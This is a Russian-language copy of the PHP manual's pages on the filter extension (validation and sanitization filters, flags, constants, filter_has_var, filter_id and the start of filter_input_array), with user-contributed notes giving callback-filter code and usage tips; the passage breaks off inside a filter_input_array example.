Идентификатор | Имя | Параметры | Флаги | Описание
FILTER_CALLBACK | "callback" | Функция или метод, которые принадлежат типу callable | Флаги игнорируются | Чтобы отфильтровать данные, вызывает пользовательскую функцию.

User Contributed Notes

shaman_master at list dot ru 20-Jun-2020 04:46
NOTE: dont wrap PHP function in closure as writed in "top" comment
<?php
$str = filter_input(INPUT_GET, 'str', FILTER_CALLBACK, ['options' => 'trim']);
?>
commonpike 24-Sep-2018 09:56
Some useful custom filters:

<?php

    function sanitizeOptions($array,$default) {
        return function($value = null) use ($array,$default) {
            if (in_array($value, $array)) return $value;
            return $default;
        };
    }

    function sanitizeKey($value) {
        return strtolower(preg_replace('/[^a-zA-Z0-9-_\.]/','', $value));
    }

    /*usage */

    filter_var($format, FILTER_CALLBACK, array(
           "options" => sanitizeOptions(['html','json','blob'],'json')
        ));

    filter_var($format,FILTER_CALLBACK, array(
           "options" =>  'sanitizeKey'
        ));

?>
johnk at riceball dot com 18-Feb-2018 03:12
Here's how to create callable functions with parameters.  These are functions that return closures.  When you call them, you supply the known parameters, and it returns a function that will accept the value from filter_input() or filter_input_array().

<?php

function filter_sanitize_int_range_generator($low, $high) {
        return function($value = null) use ($low, $high) {
                $v = intval($value);
                if ($v < $low) return false;
                if ($v > $high) return false;
                return $v;
        };
}

function filter_sanitize_string_in_array_generator($array) {
        return function($value = null) use ($array) {
                if (!is_string($value)) return false;
                if (in_array($value, $array)) return $value;
                return false;
        };
}

echo "TESTING RANGE\n";
$fun = filter_sanitize_int_range_generator(1,10);
var_dump($fun(5)); // 5
var_dump((filter_sanitize_int_range_generator(1,10))(0)); // false
var_dump((filter_sanitize_int_range_generator(1,10))(1)); // 1
var_dump((filter_sanitize_int_range_generator(1,10))(10)); // 10
var_dump((filter_sanitize_int_range_generator(1,10))(11)); // false
var_dump($fun()); // false

echo "TESTING IN ARRAY\n";
$fun = filter_sanitize_string_in_array_generator(['cat','dog','bird']);
var_dump($fun('cat')); // cat
var_dump($fun('dog')); // dog
var_dump($fun('bird')); // bird
var_dump($fun('fish')); // false
var_dump($fun()); // false

// use it like this
filter_input(INPUT_GET, 'month', FILTER_CALLBACK, array( "callable" => filter_sanitize_int_range_generator(1,12) ) );
Vufi 28-Jan-2016 07:50
Are you also struggling with how to send arguments into the FILTER_CALLBACK.

Lets say you like to have a collection of custom filters that you can use in filter_var, filter_var_array and so on, but you want be able to call the new filters with different arguments, as you can in filter_var.

The easiest way to do this is to make a new class with all your custom filters. Then construct the class with your arguments inside filter_var argument array and enter the method in your class you like to run after.

If you send the argument as an array it is easy to make default values. But you can pass as many arguments you want and in any type, with this solution.

Example:
<?php
/**
 * Class CustomFilters
 * Custom filters for filter_var, filter_var_array, filter_input, filter_input_array
 */
class CustomFilters {
    private $options = array();

    public function __construct(array $options=array()){
        $this->options = $options;
    }

    /**
     * Returns the default options merged with the construction options
     * @param array $defaults
     * @return array
     */
    private function get_options(array $defaults){
        return array_merge($defaults, $this->options);
    }

    /**
     * Checks if a value is in a range
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_STEP_RANGE($val){
        $options = $this->get_options(
            // default options
            array(
                "min_range" => 1,
                "max_range" => 10,
                "step"      => 1,
                "default"   => null,    // Value to return on fail
                "strict"    => false,   // Check value for correct type
                "cast"      => false    // Cast the value in a certain type
            )
        );

        if(in_array( $val, range($options["min_range"], $options["max_range"], $options["step"]), $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])) {
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }

    /**
     * Checks if a value is in array
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_ENUM($val){
        $options = $this->get_options(
        // default options
            array(
                "values"  => array(),
                "strict"    => false, // Value to return on fail
                "default"   => null,  // Check value for correct type
                "cast"      => false  // Cast the value in a certain type
            )
        );

        if(in_array($val, $options["values"], $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])){
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }
}

$data = array(
    "range1" => "200",
    "range2" => 25,
    "enum" => "yes"
);

$args = array(
    "range1" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 10, "max_range" => 600, "step" => 10, "default" => 120,
                "cast" => "integer")),
            'FILTER_STEP_RANGE'
            )
        ),

    "range2" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 0, "max_range" => 1, "step" => .1, "default" => .5,
                "cast" => "float")),
            'FILTER_STEP_RANGE'
        )
    ),
    "enum" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "values" => array("yes", "no", "Yes","No"), "cast" => "string")),
            'FILTER_ENUM'
        )
    )
);

var_dump( filter_var_array($data, $args) );
?>

Returns:
array(3) {
  ["range1"] => int(200)
  ["range2"] => float(0.5)
  ["enum"] => string(3) "yes"
}
christof at himalayasystemsNOSPAM dot be 11-Aug-2015 10:47
The supplied callback function may also be a class method. (since 5.4.0 ?)
To use a method you need to set the options param to an array with two values: the first is the object and the second is the method name.

<?php
/**
 * @property-read $language
 */
class GetInputStore {
    private $allowed_languages = array('en', 'fr', 'de', 'nl' /*, ... */);
    private $language;

    public function __construct(){
        $this->language = filter_input(INPUT_GET, 'language', FILTER_CALLBACK, array('options' => array($this, 'get_language_code')));
    }

    public function __get($name){
         switch($name){
             case 'language' : return $this->language;
             default : throw new Exception("The GetInputStore class doesn't support GET param \"$name\"");
         }
    }

    private function get_language_code($code){
        if(in_array($code, $this->allowed_languages)){
            return $code;
        } else {
            return 'en';
        }
    }
}
?>
thatindividual dot zhang at gmail dot com 23-Sep-2014 07:05
Here is an example, since I cannot find one through out php.net"

<?php

/**
 * Strip whitespace (or other non-printable characters) from the beginning and end of a string
 * @param string $value
 */
function trimString($value)
{
    return trim($value);
}

$loginname = filter_input(INPUT_POST, 'loginname', FILTER_CALLBACK, array('options' => 'trimString'));


Флаги для фильтров

Список флагов для фильтров
Идентификатор | Совместимый фильтр | Описание
FILTER_FLAG_STRIP_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Удаляет символы, у которых код < 32.
FILTER_FLAG_STRIP_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Удаляет символы, у которых код > 127.
FILTER_FLAG_STRIP_BACKTICK | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Удаляет символы обратной кавычки (`).
FILTER_FLAG_ALLOW_FRACTION | FILTER_SANITIZE_NUMBER_FLOAT | Разрешает точку (.) в качестве десятичного разделителя в числах.
FILTER_FLAG_ALLOW_THOUSAND | FILTER_SANITIZE_NUMBER_FLOAT, FILTER_VALIDATE_FLOAT | Разрешает запятую (,) в качестве разделителя тысяч в числах.
FILTER_FLAG_ALLOW_SCIENTIFIC | FILTER_SANITIZE_NUMBER_FLOAT | Разрешает буквы e и E для записи чисел в научной нотации.
FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_SANITIZE_STRING | При установке этого флага одинарные (') и двойные (") кавычки кодироваться не будут.
FILTER_FLAG_ENCODE_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Кодирует символы, у которых код < 32.
FILTER_FLAG_ENCODE_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Кодирует символы, у которых код > 127.
FILTER_FLAG_ENCODE_AMP | FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Кодирует амперсанды (&).
FILTER_NULL_ON_FAILURE | любой FILTER_VALIDATE_* | Возвращает null для нераспознанных значений.
FILTER_FLAG_ALLOW_OCTAL | FILTER_VALIDATE_INT | Трактует входные данные, которые начинаются с нуля (0), как восьмеричные числа. После нуля разрешено указывать только числа в диапазоне 0-7.
FILTER_FLAG_ALLOW_HEX | FILTER_VALIDATE_INT | Трактует входные данные, которые начинаются с литерала 0x или 0X, как шестнадцатеричные числа. После литерала разрешено указывать только символы в диапазоне a-fA-F0-9.
FILTER_FLAG_EMAIL_UNICODE | FILTER_VALIDATE_EMAIL | Разрешает в локальной части, до символа @, email-адреса Unicode-символы.
FILTER_FLAG_IPV4 | FILTER_VALIDATE_IP | Разрешает формат IPv4 для IP-адреса.
FILTER_FLAG_IPV6 | FILTER_VALIDATE_IP | Разрешает формат IPv6 для IP-адреса.
FILTER_FLAG_NO_PRIV_RANGE FILTER_VALIDATE_IP

Запрещает успешную проверку для следующих частных IPv4-диапазонов: 10.0.0.0/8, 172.16.0.0/12 и 192.168.0.0/16.

Запрещает успешную проверку для IPv6-адресов, начинающихся с FD или FC.

FILTER_FLAG_NO_RES_RANGE FILTER_VALIDATE_IP

Запрещает успешную проверку для следующих зарезервированных IPv4-диапазонов: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8 и 240.0.0.0/4.

Запрещает успешную проверку для зарезервированных IPv6-диапазонов: ::1/128, ::/128, ::ffff:0:0/96 и fe80::/10.

Это диапазоны, которые в стандарте » RFC 6890 отмечены как зарезервированные по протоколу (Reserved-By-Protocol).

FILTER_FLAG_GLOBAL_RANGE FILTER_VALIDATE_IP

Запрещает успешную проверку для неглобальных IPv4- и IPv6-диапазонов с атрибутом Global, равным False, как указано в стандарте » RFC 6890.

FILTER_FLAG_SCHEME_REQUIRED | FILTER_VALIDATE_URL | Требует, чтобы URL содержал схему.
FILTER_FLAG_HOST_REQUIRED | FILTER_VALIDATE_URL | Требует, чтобы URL содержал хост.
FILTER_FLAG_PATH_REQUIRED | FILTER_VALIDATE_URL | Требует, чтобы URL содержал путь.
FILTER_FLAG_QUERY_REQUIRED | FILTER_VALIDATE_URL | Требует, чтобы URL содержал строку запроса.
FILTER_REQUIRE_SCALAR | Требует, чтобы значение было скаляром.
FILTER_REQUIRE_ARRAY | Требует, чтобы значение было массивом. Фильтр будет применён к каждой скалярной записи массива.
FILTER_FORCE_ARRAY | Если значение — скаляр, оно обрабатывается как массив с единственным скалярным значением.

Список изменений

Версия | Описание
8.2.0 | Добавлена константа FILTER_FLAG_GLOBAL_RANGE в качестве флага для FILTER_VALIDATE_IP.
7.3.0 | Явная передача флагов FILTER_FLAG_SCHEME_REQUIRED и FILTER_FLAG_HOST_REQUIRED объявлена устаревшей.
7.1.0 | Добавлен флаг FILTER_FLAG_EMAIL_UNICODE.

User Contributed Notes

sergey dot karavay at gmail dot com 24-Mar-2021 12:54
FILTER_NULL_ON_FAILURE works not only with FILTER_VALIDATE_BOOLEAN, but also with FILTER_VALIDATE_INT, FILTER_VALIDATE_FLOAT
shaman_master at list dot ru 18-Jun-2020 04:01
Missing constant of default flag: FILTER_FLAG_NONE


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

INPUT_POST (int)
Переменные POST.
INPUT_GET (int)
Переменные GET.
INPUT_COOKIE (int)
Переменные COOKIE.
INPUT_ENV (int)
Переменные ENV.
INPUT_SERVER (int)
Переменные SERVER.
INPUT_SESSION (int)
Переменные SESSION. (ещё не реализовано)
INPUT_REQUEST (int)
Переменные REQUEST. (ещё не реализовано)
FILTER_FLAG_NONE (int)
Не использовать флаги.
FILTER_REQUIRE_SCALAR (int)
Флаг используется для указания необходимости скалярного значения в качестве входного значения.
FILTER_REQUIRE_ARRAY (int)
Требовать массив в качестве входного значения.
FILTER_FORCE_ARRAY (int)
Всегда возвращать массив.
FILTER_NULL_ON_FAILURE (int)
Использовать NULL вместо FALSE в случае возникновения ошибки.
FILTER_VALIDATE_INT (int)
Идентификатор фильтра "int".
FILTER_VALIDATE_BOOL (int)
Псевдоним FILTER_VALIDATE_BOOLEAN.
FILTER_VALIDATE_BOOLEAN (int)
Идентификатор фильтра "boolean".
FILTER_VALIDATE_FLOAT (int)
Идентификатор фильтра "float".
FILTER_VALIDATE_REGEXP (int)
Идентификатор фильтра "validate_regexp".
FILTER_VALIDATE_URL (int)
Идентификатор фильтра "validate_url".
FILTER_VALIDATE_DOMAIN (int)
Идентификатор фильтра "validate_url". (Доступно с PHP 7.0.0)
FILTER_VALIDATE_EMAIL (int)
Идентификатор фильтра "validate_email".
FILTER_VALIDATE_IP (int)
Идентификатор фильтра "validate_ip".
FILTER_VALIDATE_MAC (int)
Идентификатор фильтра "validate_mac_address".
FILTER_DEFAULT (int)
Идентификатор фильтра по умолчанию ("unsafe_raw"). Эквивалентно FILTER_UNSAFE_RAW.
FILTER_UNSAFE_RAW (int)
Идентификатор фильтра "unsafe_raw".
FILTER_SANITIZE_STRING (int)
Идентификатор фильтра "string". (Объявлен устаревшим, начиная с PHP 8.1.0, используйте вместо него функцию htmlspecialchars()).
FILTER_SANITIZE_STRIPPED (int)
Идентификатор фильтра "stripped". (Объявлен устаревшим, начиная с PHP 8.1.0, используйте вместо него функцию htmlspecialchars()).
FILTER_SANITIZE_ENCODED (int)
Идентификатор фильтра "encoded".
FILTER_SANITIZE_SPECIAL_CHARS (int)
Идентификатор фильтра "special_chars".
FILTER_SANITIZE_EMAIL (int)
Идентификатор фильтра "email".
FILTER_SANITIZE_URL (int)
Идентификатор фильтра "url".
FILTER_SANITIZE_NUMBER_INT (int)
Идентификатор фильтра "number_int".
FILTER_SANITIZE_NUMBER_FLOAT (int)
Идентификатор фильтра "number_float".
FILTER_SANITIZE_MAGIC_QUOTES (int)
Идентификатор фильтра "magic_quotes". (УСТАРЕЛ с PHP 7.3.0 и УДАЛЁН с PHP 8.0.0, используйте вместо него FILTER_SANITIZE_ADD_SLASHES.)
FILTER_SANITIZE_ADD_SLASHES (int)
Идентификатор фильтра "add_slashes". (Доступно с PHP 7.3.0)
FILTER_CALLBACK (int)
Идентификатор фильтра "callback".
FILTER_FLAG_ALLOW_OCTAL (int)
Разрешить восьмеричную запись (0[0-7]+) в фильтре "int".
FILTER_FLAG_ALLOW_HEX (int)
Разрешить шестнадцатеричную запись (0x[0-9a-fA-F]+) в фильтре "int".
FILTER_FLAG_STRIP_LOW (int)
Удалять символы с ASCII-кодом, меньшим 32.
FILTER_FLAG_STRIP_HIGH (int)
Удалять символы с ASCII-кодом, большим 127.
FILTER_FLAG_STRIP_BACKTICK (int)
Удаляет символы обратного ударения (грависа).
FILTER_FLAG_ENCODE_LOW (int)
Кодировать символы с ASCII-кодом, меньшим 32.
FILTER_FLAG_ENCODE_HIGH (int)
Кодировать символы с ASCII-кодом, большим 127.
FILTER_FLAG_ENCODE_AMP (int)
Кодировать &.
FILTER_FLAG_NO_ENCODE_QUOTES (int)
Не кодировать ' и ".
FILTER_FLAG_EMPTY_STRING_NULL (int)
(На данный момент не используется.)
FILTER_FLAG_ALLOW_FRACTION (int)
Разрешить дробную часть в фильтре "number_float".
FILTER_FLAG_ALLOW_THOUSAND (int)
Разрешить разделитель (,) в фильтре "number_float".
FILTER_FLAG_ALLOW_SCIENTIFIC (int)
Разрешить научную запись (e, E) в фильтре "number_float".
FILTER_FLAG_PATH_REQUIRED (int)
Требовать наличие пути в фильтре "validate_url".
FILTER_FLAG_QUERY_REQUIRED (int)
Требовать наличие строки запроса в фильтре "validate_url".
FILTER_FLAG_SCHEME_REQUIRED (int)
Требовать наличие схемы в фильтре "validate_url". (Объявлен устаревшим, начиная с PHP 7.3.0 и удалён в PHP 8.0.0, так как это и так подразумевается в фильтре).
FILTER_FLAG_HOST_REQUIRED (int)
Требовать наличие хоста в фильтре "validate_url". (Объявлен устаревшим, начиная с PHP 7.3.0 и удалён в PHP 8.0.0, так как это и так подразумевается в фильтре).
FILTER_FLAG_HOSTNAME (int)
Требовать, чтобы имена хостов начинались с буквенно-цифровых символов и содержали только буквенно-цифровые символы или дефисы. (Доступно с PHP 7.0.0)
FILTER_FLAG_IPV4 (int)
Разрешить только IPv4-адреса в фильтре "validate_ip".
FILTER_FLAG_IPV6 (int)
Разрешить только IPv6-адреса в фильтре "validate_ip".
FILTER_FLAG_NO_RES_RANGE (int)
Запретить зарезервированные адреса в фильтре "validate_ip".
FILTER_FLAG_NO_PRIV_RANGE (int)
Запретить частные адреса в фильтре "validate_ip".
FILTER_FLAG_EMAIL_UNICODE (int)
Принимать Unicode в локальной части фильтра "validate_email". (Доступно с PHP 7.1.0)

User Contributed Notes

jcastromail at yahoo dot es 07-Jan-2021 06:46
INPUT_REQUEST was implemented in PHP < 8 (it was equal to 99) but it was removed in PHP 8.0

While INPUT_SESSION,FILTER_SANITIZE_MAGIC_QUOTES,FILTER_FLAG_SCHEME_REQUIRED,FILTER_FLAG_HOST_REQUIRED and a few others were removed in PHP 8.0.
shaman_master at list dot ru 17-Jun-2020 11:48
Note: FILTER_NULL_ON_FAILURE, FILTER_REQUIRE_SCALAR, FILTER_REQUIRE_ARRAY and FILTER_FORCE_ARRAY dont have prefix "FILTER_FLAG_" but they are FLAGS!
sixd at php dot net 23-Dec-2010 10:37
Rasmus added FILTER_SANITIZE_FULL_SPECIAL_CHARS to PHP 5.3.3.  See
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/
ext/filter/filter.c?r1=297245&r2=297244&pathrev=297245
His earlier commit to the PHP source code trunk commented that this "Added the full htmlspecialchars() functionality which includes utf-8 validation as a default filter."


Примеры

Содержание

  • Проверка (валидация)
  • Очистка (нормализация)

User Contributed Notes

There are no user contributed notes for this page.


Проверка (валидация)

Пример #1 Валидация e-mail адреса, используя функцию filter_var()

<?php
$email_a = 'joe@example.com';
$email_b = 'bogus';

if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
echo "E-mail адрес '$email_a' указан верно.\n";
}
if (filter_var($email_b, FILTER_VALIDATE_EMAIL)) {
echo "E-mail адрес '$email_b' указан верно.\n";
} else {
echo "E-mail адрес '$email_b' указан неверно.\n";
}
?>

Результат выполнения приведённого примера:

E-mail адрес 'joe@example.com' указан верно.
E-mail адрес 'bogus' указан неверно.

Пример #2 Валидация IP-адреса, используя функцию filter_var()

<?php
$ip_a = '127.0.0.1';
$ip_b = '42.42';

if (filter_var($ip_a, FILTER_VALIDATE_IP)) {
echo "IP-адрес '$ip_a' указан верно.";
}
if (filter_var($ip_b, FILTER_VALIDATE_IP)) {
echo "IP-адрес '$ip_b' указан верно.";
}
?>

Результат выполнения приведённого примера:

Адрес '127.0.0.1' указан верно.

Пример #3 Дополнительные параметры функции filter_var()

<?php
$int_a = '1';
$int_b = '-1';
$int_c = '4';
$options = array(
'options' => array(
'min_range' => 0,
'max_range' => 3,
)
);
if (filter_var($int_a, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Число A '$int_a' является верным (от 0 до 3).\n";
}
if (filter_var($int_b, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Число B '$int_b' является верным (от 0 до 3).\n";
}
if (filter_var($int_c, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Число C '$int_c' является верным (от 0 до 3).\n";
}

$options['options']['default'] = 1;
if (($int_c = filter_var($int_c, FILTER_VALIDATE_INT, $options)) !== FALSE) {
echo "Число C '$int_c' является верным (от 0 и 3).";
}
?>

Результат выполнения приведённого примера:

Число A '1' является верным (от 0 до 3).
Число C '1' является верным (от 0 до 3).

User Contributed Notes

There are no user contributed notes for this page.


Очистка (нормализация)

Пример #1 Нормализация и валидация e-mail адресов

<?php
$a = 'joe@example.org';
$b = 'bogus - at - example dot org';
$c = '(bogus@example.org)';

$sanitized_a = filter_var($a, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_a, FILTER_VALIDATE_EMAIL)) {
echo "Нормализованный e-mail (a) является верным.\n";
}

$sanitized_b = filter_var($b, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_b, FILTER_VALIDATE_EMAIL)) {
echo "Нормализованный e-mail (b) является верным.";
} else {
echo "Нормализованный e-mail (b) является неверным.\n";
}

$sanitized_c = filter_var($c, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_c, FILTER_VALIDATE_EMAIL)) {
echo "Нормализованный e-mail (c) является верным.\n";
echo "До нормализации: $c\n";
echo "После нормализации: $sanitized_c\n";
}
?>

Результат выполнения приведённого примера:

Нормализованный e-mail (a) является верным.
Нормализованный e-mail (b) является неверным.
Нормализованный e-mail (c) является верным.
До нормализации: (bogus@example.org)
После нормализации: bogus@example.org

Пример #2 Настройка фильтра по умолчанию

filter.default = full_special_chars
filter.default_flags = 0

User Contributed Notes

Chris 14-Apr-2015 07:42
While it may seem to be good practice to set the defaults in php.ini you should not assume that the end users server has the same settings as your server. Because of this you should not presume that default filtering will work out of the box for the end user.

You should ensure that all filters are declared at the site of use regardless of your own default settings. A move to a new host even for your own personal application may break due to different settings.
zeeshan dot karamat dot abbas at gmail dot com 05-Feb-2015 01:59
If we omit using a filter then PHP by default puts a filter which is FILTER_DEFAULT which will use default filter. Now the question is what is a default filter. A default filter is unsafe_raw which will allow the unsafe raw data passed on to the server. This value is available in php.ini file. It is suggested that a developer should update this value inside php.ini file as under:
filter.default = full_special_chars
filter.default_flags = 0

Whereas in php.ini file above values are by default, set as under:
;filter.default = unsafe_raw
;filter.default_flags =

Above semicolons are commented out lines so surely one needs to remove those semicolons to apply the changes made. If we do not do above things then what will happen. In that case PHP will use default filter which would surely be FILTER_UNSAFE_RAW and one can see that unsafe raw data can then be passed onto server which can make the life a hacker easier.


Функции фильтрации данных

Содержание

  • filter_has_var — Проверяет существование переменной указанного типа
  • filter_id — Возвращает идентификатор, принадлежащий именованному фильтру
  • filter_input_array — Получает несколько переменных извне PHP и, при необходимости, фильтрует их
  • filter_input — Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
  • filter_list — Возвращает список всех поддерживаемых фильтров
  • filter_var_array — Принимает несколько переменных и, при необходимости, фильтрует их
  • filter_var — Фильтрует переменную

User Contributed Notes

fumble1 at web dot de 12-Aug-2007 10:54
I recommend you to use the FILTER_REQUIRE_SCALAR (or FILTER_REQUIRE_ARRAY) flags, since you can use array-brackets both to access string offsets and array-element -- however, not only this can lead to unexpected behaviour. Look at this example:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW));
// further checks
?>

/script.php?src[0]=foobar will cause a warning. :-(
Hence my recommendation:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_REQUIRE_SCALAR | FILTER_FLAG_STRIP_LOW));
// further checks
?>
Richard Davey rich at corephp dot co dot uk 13-Jun-2007 11:15
There is an undocumented filter flag for FILTER_VALIDATE_BOOLEAN. The documentation implies that it will return NULL if the value doesn't match the allowed true/false values. However this doesn't happen unless you give it the FILTER_NULL_ON_FAILURE flag like this:

<?php
$value = 'car';
$result = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
?>

In the above $result will equal NULL. Without the extra flag it would equal FALSE, which isn't usually a desired result for this specific filter.
ckroll at rightmedia dot com 08-May-2007 08:02
Beware, the FILTER_SANITIZE_STRING flag functions much like strip_tags, so < will get filtered from input regardless of it's actually part of a tag.  We were getting unexepected results with a graphic library we wrote when trying to print < on a dynamic button.  The url came in something like ?string=%3C (<) but after filter ran it was empty.  To get around this, you could use FILTER_UNSAFE_RAW on that one param.
user 02-Feb-2007 12:15
Below is some code using filter API to restrict access to LAN by IPv4 private address range.

These notes may save someone else a little time:

filter_input_array() is useless for running multiple filters on the same key.
No way to chain or negate filters.

<?php

/* Merciful comment! */
function FILTER_NEGATE_HACK($_){ return (bool)!$_; }

function client_is_private_ipv4(){
  return (filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) &&
            FILTER_NEGATE_HACK(filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));
}

if (! client_is_private_ipv4())
  exit('This application is restricted to local network users');

?>
vojtech at x dot cz 21-Dec-2006 06:38
Also notice that filter functions are using only the original variable values passed to the script even if you change the value in super global variable ($_GET, $_POST, ...) later in the script.

<?php
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'something'
$_GET['var'] = 'changed';
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'changed'
?>

In fact, external data are duplicated in SAPI before the script is processed and filter functions don't use super globals anymore (as explained in Filter tutorial bellow, section 'How does it work?').
vojtech at x dot cz 21-Dec-2006 05:13
Just to note that "server and env support may not work in all sapi, for filter 0.11.0 or php 5.2.0" as mentioned in Filter tutorial bellow.

The workaround is obvious:
Instead of
<?php
$var = filter_input(INPUT_SERVER, 'SERVER_NAME', FILTER_DEFAULT);
?>
use
<?php
$var = filter_var(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : NULL, FILTER_DEFAULT);
?>


Проверяет существование переменной указанного типа

  • « Функции фильтрации данных
  • filter_id »
  • PHP Manual
  • Функции фильтрации данных
  • Проверяет существование переменной указанного типа

filter_has_var

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_has_var — Проверяет существование переменной указанного типа

Описание

filter_has_var(int $input_type, string $var_name): bool

Список параметров

input_type

Один из INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, INPUT_ENV.

var_name

Имя проверяемой переменной.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

dezlov 30-Jul-2015 01:12
For people who are wondering whether "magic_quotes_gpc" has any affect on "filter_input" operation, here is an extract from a PHP source file:

* As the input filter acts on input data before the magic quotes function mangles data, all access through the filter() function will not have any quotes or slashes added - it will be the pure data as send by the browser.

So when using this function, there is no need to strip the slashes when "magic_quotes_gpc" is enabled.
nanhe dot kumar at gmail dot com 06-Mar-2013 02:15
Through this example i think you can better understand

    if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
    Output

    localhost/nanhe/test.php?email=1 //Email Found
    localhost/nanhe/test.php?email //Email Found
    http://localhost/nanhe/test.php //Email Not Found

Consider on second example

http://localhost/nanhe/test.php
$_GET['email']="info@nanhe.in";
if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
But output will be Email Not Found
drm at melp dot nl 16-Jan-2009 01:54
Please note that the function does not check the live array, it actually checks the content received by php:

<?php
$_GET['test'] = 1;
echo filter_has_var(INPUT_GET, 'test') ? 'Yes' : 'No';
?>

would say "No", unless the parameter was actually in the querystring.

Also, if the input var is empty, it will say Yes.


Возвращает идентификатор, принадлежащий именованному фильтру

  • « filter_has_var
  • filter_input_array »
  • PHP Manual
  • Функции фильтрации данных
  • Возвращает идентификатор, принадлежащий именованному фильтру

filter_id

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_id — Возвращает идентификатор, принадлежащий именованному фильтру

Описание

filter_id(string $name): int|false

Список параметров

name

Имя фильтра.

Возвращаемые значения

Идентификатор фильтра в случае успешного выполнения или false, если фильтр не существует.

Смотрите также

  • filter_list() - Возвращает список всех поддерживаемых фильтров

User Contributed Notes

w0n4b3 at gmail dot com 23-Jun-2011 02:47
[To get a list of filters and their IDs:]

<?php
$filters = filter_list();
foreach($filters as $filter_name) {
    echo $filter_name .": ".filter_id($filter_name) ."<br>";
}
?>
Will result in:
boolean: 258
float: 259
validate_regexp: 272
validate_url: 273
validate_email: 274
validate_ip: 275
string: 513
stripped: 513
encoded: 514
special_chars: 515
unsafe_raw: 516
email: 517
url: 518
number_int: 519
number_float: 520
magic_quotes: 521
callback: 1024


Получает несколько переменных извне PHP и, при необходимости, фильтрует их

  • « filter_id
  • filter_input »
  • PHP Manual
  • Функции фильтрации данных
  • Получает несколько переменных извне PHP и, при необходимости, фильтрует их

filter_input_array

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_input_array — Получает несколько переменных извне PHP и, при необходимости, фильтрует их

Описание

filter_input_array(int $type, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

Эта функция полезна для получения множества переменных без многократного вызова функции filter_input().

Список параметров

type

Одна из констант INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER или INPUT_ENV.

options

Массив, определяющий аргументы. Допустимый ключ - строка (string), содержащая имя переменной, а допустимое значение - либо тип фильтра, либо массив (array), при необходимости определяющий фильтр, флаги и параметры. Если значение является массивом, допустимыми ключами являются filter, который определяет (тип фильтра ), flags, который определяет любые флаги, применяемые к фильтру и options, который определяет любые параметры, применяемые к фильтру. Смотрите пример ниже для лучшего понимания.

Этот параметр также может быть целым числом, содержащим предопределённую фильтровую константу. Затем все значения во входном массиве фильтруются этим фильтром.

add_empty

Добавляет в результат отсутствующие ключи со значением null.

Возвращаемые значения

Массив, содержащий значения запрошенных переменных в случае успешного выполнения. Если входной массив, определяемый параметром type, не заполнен, то функция вернёт null, если флаг FILTER_NULL_ON_FAILURE не задан, false в противном случае. Для других неудачных выполнений возвращается false

Значение массива будет false, если фильтрация завершилась неудачей, или null, если переменная не определена. Либо, если установлен флаг FILTER_NULL_ON_FAILURE, возвращается false, если переменная не определена и null, если фильтрация завершилась неудачей. Если параметр add_empty равен false, элемент массива не будет добавлен для удалённых переменных.

Примеры

Пример #1 Пример использования filter_input_array()

<?php

/* данные, полученные методом POST
$_POST = array(
'product_id' => 'libgd<script>',
